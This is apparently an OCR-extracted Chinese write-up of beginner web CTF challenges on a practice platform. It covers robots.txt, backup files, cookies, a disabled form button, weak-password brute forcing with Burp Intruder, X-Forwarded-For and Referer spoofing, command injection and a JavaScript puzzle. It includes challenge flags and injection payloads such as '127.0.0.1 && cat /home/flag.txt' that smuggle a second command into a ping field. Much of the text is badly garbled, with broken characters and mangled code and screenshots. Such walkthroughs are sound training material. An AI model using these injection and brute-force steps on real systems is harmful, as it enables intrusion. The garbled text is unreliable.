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User-agent: #*
Disallow:
Disallow: flaz_ls_h3re. php
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index.phpH) &3 S Zindex.php.bax, EEVH T, BITAEEXH, #ablikEifag

1 <html>

2 g(head>

3 <meta charset="UTF-8">

4 <title>&E @3 fF</title>

5 <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
6 o <style>

i body {

8 margin-left:auto;

g : : margin-right:auto;

10 : - margin-TOP:200PX;

1 : : width:20em;

12 : }

13 </style>

14 t</head>

15 H<body>

16 i<h3>{{£mﬁindex.phpm%ﬁ}3t#%ﬂ§ ? </h3>

17 H<?php

18 Fflag="Cyberpeace{855A1C4B3401294CR6604CCCYEBDE334}" |
19 F2>

20 F</body>
2T L</html>
22

Hyper Text Markup Le length : 500 lines: 22 Ln:22 Col:1 Sel:0|0 Windows (CRLF) UTF-8 NS

cookic(fi 77 7E i 7 A< Hh 2% ¥ b 1 248 )

cookic, BRUNNRISCASA”, RFELMNEN T HAE P &4, #E17SessionfRERTIAE A 7E A P A 4o EEUE GEFE S
%), HAPEmITENENBEKARERNEEEEEEERD

& POHLERTE I T IR 5 3R 00— N BOCAR A B
& B 53 #r



{REIE{TAZcookiels?

#E A cookie.php % cookie

% 111.198.29.45:44266/cookie.php

See the http response

TR BB M TR, FBIF— T T8 AT AR R 3 3 8 2k 2 vh R Bl flag

 O=ss Dewa OEsE N RE () aieEs Qun O ns O &% G TESRE @ MaxHackBar i e X
W vosEuR I Q ® i HIML CSS JS XHR = EE @k WS kb []meas (I=MEs  Aoms HARS
w5 wE = ot sm = PN 3] S Cookie B WY MRS ISHRE

% 111.198.29.45:44266 cookie.php document BRAS HTTP/1.1 EEEs
GET # libs.baidu.com bootstrap.min.css stylesheet (=3 16.89 KB 97.22 KB

GET # 111.198.29.45:44266 favicon.ico img html BEF 290 =73

ek

v BEEK (325 F79) Rk
(@ Connection: Keep-Alive
(3 Content-Encoding: gzip
(3 Content-Length: 253
(@ Content-Type: text/ntml
?) Date: Sat, 25 Jan 2020 07:34:16 GMT
) Keep-Alive: timeout=5, max=100
(@ Server: Apache/247 (Ubuntu)
(@ Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntu4.26
v ERK (421 =19) Rask

(@ Accept: text/html,application/xhtmi-+xm...ml:q=09,image/webp,*/q=0.8
O 348K CREMOITIIKB/1745KE Ak 3452 DOMContentloaded: 12355 load: 357 =7 () Accept-Encoding: grip, deflate v

B IR IIEE A EGoogle W EE
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F12%3, formE—/disable/@tt, BERMBMALLRT, SHRRAEER

[x ﬂ Elements Console Sources Network Performance  » : X

html

P <head:>.</head

¥ <body

h3>— T RR AR < /h3
¥<form action method="post
input disabled class="btn btn-default” style="height:58px;width:208px;

type="submit” walue="flag” name="auth == %@
Jform
/body
Jhtml
HTMLE % [¥) disabled)= 14

HTMLH ffjinputic . buttonji £. optionstc X Z 1l it indisabled@ . UWFZBHEN ZLEBTHATRE
BIlEE — AN AT LI IR 4

<IDOCTYPE html>
< >

< >
<hl>able<hl>

action="">

type="

MR ERWT, XA R LR E i

able

falg



<IDOCTYPE html>
< >
< >

>disable<hl>

action="">

disabled type="

W ERINT, XNMEBEATU AEH
L ]
disable

falg

weak auth

BEWMT, BR—ANEREMBUEMARE R RIS m, XMt CLE A 8RS XA 55 %

Login

login

reset

BEEMAN—ANE 4, R4 admin, 8 HadminfE R H 2 21T 80k .
FAE RN L8 F Buipsuiti: T 8

1. SerEd b as B BACHE

Connection Settings

Configure Proxy Access tothe Internet

I | PN




NQ proxy
Auto-detect proxy settings for this network

Use system proxy settings

® Manual proxy configuration

HTTP Proxy 127.0.0.1 Port 8080

¥ Use this proxy server for all protocols

SSL Proxy 127.0.0.1 Port 8080
FTD Dravis 177 0N 1 Dart  RNKN
Help Cancel OK

2. Z JEFE3 YR H 4 Ausername admin, passwordBEE#IA— AN (R AR 2123456, BEHRERT. . « HAT
B —R, BT 111111) , Burpsuitii &34, BRI AIT 48 Bk R0 1§

3. Action—> Sent to Intruder

Burp Project Intruder Repeater Window Help

Burp Suite Community Edition v2.1.07 - Temporary Project x

[ Dashboard TTarget TPery: T Intruder T Repeater T Sequencer T Decoder T Cornparer T Extender T Project options T User options ]

J Intercept: T HTTP history TWebSockets history T Options ]

i Requestto http:ff111.195.29.45:51410

l Formard J l Drop J [ Interceptis on ] l Action J Comment this ifem w @
Ravi | Params | Headers | Hex Scan [Prowersion only]
Send to Intruder Crl+l
POST /check. php HTTP/1.1 A
Host: 111.198.20.45:51410 Send to Repeater Ctrl+R 2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Sendto Sequencer
Accept: text/html, application/xhtml+xml, applicati Send to Comparer
Accept-Language: zh,en-US;q=0.7,en:g=0.3 Send tn Decoder
Accept-Enceding: gzip, deflate )
Referer: http://111.198.29.45:51410/ sHieEtinons e - gl
Content-Type: application/x-www-form-urlencoded Engagement toals [Pro version anly]
Content-L th: 38 e
i Change request method
Connection: close ;
Upgrade-Insecure-Reguests: 1 Change body encoding
Copy URL
username=admin&password=111111 Copy as curl command
Copyto file
Faste from file
Save itern
Don'tintercept requests [ 3
Do intercept >
Convert selection
URL-encode as you type
cut CHrl+X
Copy Ctrl+C
Paste Crl+v
Message editor docurnentation
Prowy interception docurnentation
-
¥

® T T T Type 8 search ferm | Omatchss

4. Intruder —> Positions, &4 & )5i% ¥ password 2 &

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget I Prosy T.In_tr__qder. T Repeater T Sequencer T Decoder T Comparer I Extender T Project options T User options }

1 = |die

[Target I Positions ] Payloads T Cptions ]

Configure the positions where payloads will be inserted into the base request. The attack tpe determines the way in which pavloads are assigned to payload positions - see help for
full details.

FTHEHIERS (e L4 B |

@ payload Pnsiti%ns Start attack



AL L g -

POST /check.php HTTP/1.1
Host: 111.198.29.45:51410
User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:60.0) Gecko/20100181 Firefox/60.0

Accept-Language: zh,en-US:g=0.7,en:q=0.3 2
Accept-Encoding: gzip, deflate

Referer: http://111.198.29.45:51410/

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

Connection: close

Upgrade-Insecure-Reguests: 1

use rr\ame=admin&password=§111111§|/

5. % e B R Cluster bomb

A
= Addg

cl
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 f___.-‘ﬂ,l

Auto §
Refresh )

Attack type: | Sniper

Sniper
POST /check gattering ram
Host: 111. Pitchfark

User-Agenty
Accept: te Cluster bormb I

Accept-Language: zh,en-US;g=0.7,en;g=0.3
Accept-Encoding: gzip, deflate

Referer: http://111.198.29.45:51410/
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

Connection: close

Upgrade-Insecure-Requests: 1

username=admin&password=§111111§

6. PayloadsH JPayloads setfllPayloads typeit AERIN, HANET LMEH B C 15

(@) payload Sets

vou can define one or more payload sets. The number of payload sets depends on the attack twpe defined in the Fositions tab. various payload types are
available for each pawload set, and each payload type can be customized in different wayws.

Payload set: ll |YJ Payload count: 0

Payload type: [Simple list |T-] Request count; 0

(@) payload options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste -
Clood =" A] g EEFFF M

Rermowve b
Clear

Add Enter 8 new ifem

Add from list ... [Pro wersion only]

(?) Payload Processing

rou can define rules to perform various processing tasks on each payload before itis used.

[ L | P e 1

Burp Suite Community Edition v2.1.07 - Temporary Project x
Burp Project Intruder Repeater window Help
[Dashboard TTarget T Prosa Tlntrud_er T Repeater TSequencer T Decader TComparer T Extender T Project aptions TUser options ]
Target | Positions | Payloads TOptions ]
"

Start attack i)

47
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O. JT AAFEUL

xff referer

PIER 28 h ¥ B ip, HHburpsuite, FAEENL LT

BAEburp suite EHNE

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T P ropay T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project option=s T User options ]

J Intercept T HTTP history T webSockets history T Qptions ]

f Requestto http:/f111.195. 29 45: 33752

l Forward Drop

J |

J | Imtercept is on 1 Action

Cormument this ffem

\4©)

J Raw T Headers T Hex ]

GET f HTTR/1.1

Scan [Proversion anly]

Send to Intruder

Ctrl+l

Host: 111.19&.29.45:33752

Send to Repeater

e

Ctri+R

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rvi60.0)
Accept: text/html,application/xhtml+xml,applicati
Accept-Language: zh,en-US;g=0.7,en;g=0.3
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Send to Sequencer
Send to Comparer
Send to Decoder

Requestin browser

Engagernent tools [Pro wersion anly] >

Change request methad

Change body encoding

S IR

¥ X-Forwarded-For:123.123.123.123 %N 3 ) J3i 3k 24 5

Burp Project Intruder Repeater window Help

[ Dashboard ITarget ]' P r ooy I Intruder T Repeater T Sequencer I Decoder ]' Comparer ]' Extender I Project options ]' User options ]

Cancel < v

Send

Request

J Raw T Headers T Hex ]

Tarqet: hitp:#111.198.29.45:33752 7 (2)

Response

J Raw T Headers T Hex T HTML T Render ]

GET /fHTTP/1.1
Host: 111.198.29.45:33752

User-Agent: Mozilla/s5.0 (X11; Linux xB6_64; rv:60.0) Gecko/20100101

Firefox/60.0

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/%*;q=0.8

Accept-Language: zh,en-U5;g=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
[K-Forwarded-For: 123.123.123.123 |
Connection: close
Upgrade-Insecure-Reguests: 1
Cache-Control: max-age=0

L

Content-Type: text/html A

<html=
<head=
=meta charset="UTF-8"=
=title=index</title=
=link
href="http://1libs.baidu.com/bootstrap/3.0.3/css/bootstrap
.min.css" rel="stylesheet" /=
<style=
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
=/fstyles
=/head=
<body=
<p id="demo">i 123.123.123.123=</p> —
=script=document.getElementById("demo™).innerHTHL="@FkE
https://www.google.con";</script==/body=

3
v

@

Done

T T T Twpe a search term

0 matches

=fhtmi>
s
v

@ = T T Type a search ferm

0 matches

737 bytes | 45 millis

—«

EEERT%N

Burp Project Intruder Repeater Window Help

WK B https://www.google.com”, 5t F-¥Referer:https:/www.google.com¥sin 2 g 87 3k 24 b, 7 BIS HE& R

[ Dashboard TTarget T Prosey: T Intruder T_Repe_q_i_:@r T Seguencer T Decoder T Comparer T Extender T Project options T User options ]




Send Cancel <ir > |v Target: hitp:/f111.198,29.45:33752 7 (2)

Regquest Response

JR&'{\IT Headers T Hex ] _[B;@"}' THeaderS T Hex T HTML T Render ]

GET /HTTP/1.1

' <head= A
Heost: 111.158.29.45:33752 " =meta charset="UTF-8"=
User-Agent: Mozilla/5.8 (X11; Linux xB6_64; rv:60.0) Gecko/20100181 =title=index</title=
Firefox/60.0 =link
Accept: text/himl, application/xhtml+xml,application/xml;q=0.9, #/%;g=0.8 href="http://libs.baidu. com/bootstrap/3.0.3/css/bootstrap
Accept-Language: zh,en-US;q=0.7,en;g=0.3 .min.css" rel="stylesheet" /=
Accept-Encoding: gzip, deflate =styles
X-Forwarded-For: 123.123.123.123 body{
Connection: close margin-left:auto;
IReferer: https://www.google. com| | margin-right:auto;
pgrade-Insecure-Regquests: [ margin-TOP:200PX;
Cache-Control: max-age=0 width:20em;
}
=/style=
</head=
=body=
<p id="demo"=ipiht#PMMN123.123.123.123=/p=
=script=document.getElementById("demo” ). innerHTML="&FRE
https://www.google.com”;</script=<script>document.getElem
entById("demo")[innerATHL="cyberpeace{819d8bZcd98524dIad3 |
-;qfscrlpt:»quody:
=/REm=
- =/
¥ ¥
@ &J [;J LLJ | Twpe a searchterm 0 matches ® lLJ uj LLJ Tvpe 5 searchterm 0 matches
Done 843 oytes | 64 millis

command_execution

ping RIIER AW ALK TR, WURRAMEZRTEY. £RAHPHILMHE—E, FE - HEL, URBHEES
AN BRI 18] 4] i 4 A 75 S L I TV

HAEHA MR R TR, ping127.0.0.12 7 LAEREK .

PING

127.0.0.1

PING

ping -c 3 127.6.8.1

PING 127.9.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=0.858 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=0.853 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.859 ms

--- 127.8.0.1 ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 1999ms
rtt min/avg/max/mdev = 9.850/0.054/0.859/0.683 ns

F7E127.0.0.1 4 FFKflagi) XA, FEpingHHiENGSHEHI&EZERF S, W LLE RIfE/homeH —Mag. .t

PING




127.0.0.1 && find / -name "flag.™"

PING

ping -c 3 127.08.8.1 && find / -name "flag.*"

PING 127.9.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=0.872 ms
64 bytes from 127.8.8.1: icmp _seq=2 ttl=64 time=0.863 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.862 ms

--- 127.6.8.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 9.062/0.065/0.872/0.010 ms

I fhomefflag.txtl

TITFREA AT LA Elflag T

PING

127.0.0.1 && cat /homefflag.txt

PING

ping -c 3 127.0.8.1 && cat /home/flag.txt

PING 127.0.06.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=0.844 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=0.854 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.847 ms

--- 127.8.8.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = 9.044/0.048/0.854/0.087 ms

I cyberpeace{a@bfecBabf6lc3tbcca7d7b3d%2ab839}

simple_js
EARKERA 2 XHRRER, WREKEERTUERME TG

Ctri+uEr B JEL



< >JS</

< type="

function dechiffre(pass_enc){
var pass

var tab pass_enc.split( )

var tab2 pass.split( );var i,j,k,1=0,m,n,0,p ;i 057 tab.length;
k =3+ (1) + (n=0);
n = tab2.length;
for(i (0=0); i (k Jj n); i ){o = tab[i-1];p String.fromCharCode((o = tab2[i]

if(i 5)break;}
for(i (0=0); i (k Jj n); i ){
o) tab[i-1];
if(i > 5 i k-1)
p String.fromCharCode( (o tab2[i]));

S
J

p String.fromCharCode(tab2[17]);
pass p;return pass;

}

String[ ](dechiffre(

h = window.prompt (
alert( dechiffre(h) );

\x35\x35\x2c\x35\%x36\x2c\x35\x34\x2c\x3 7\x39\x2¢c\x3 1\x31\x35\x2c\x36\x39\x2c\x3 1\1x3 1\x34\x2¢c\x3 1\x3 1\x36\x2c\x3 1\x30\x3 7\x2¢\
x34\x39\%2¢c\x35\x30"

R—BeE TSR B PR R

ERBEAE N4
BB AT TR i 5 5 webdT F B ST T W I G G G e S



	攻防世界web解题
	robots
	robots协议（robots.txt）
	题目分析

	backup
	cookic(储存在用户本地终端上的数据)
	题目分析

	disable button
	题目分析
	HTML表单的disabled属性

	weak auth
	xff referer
	command_execution
	simple_js

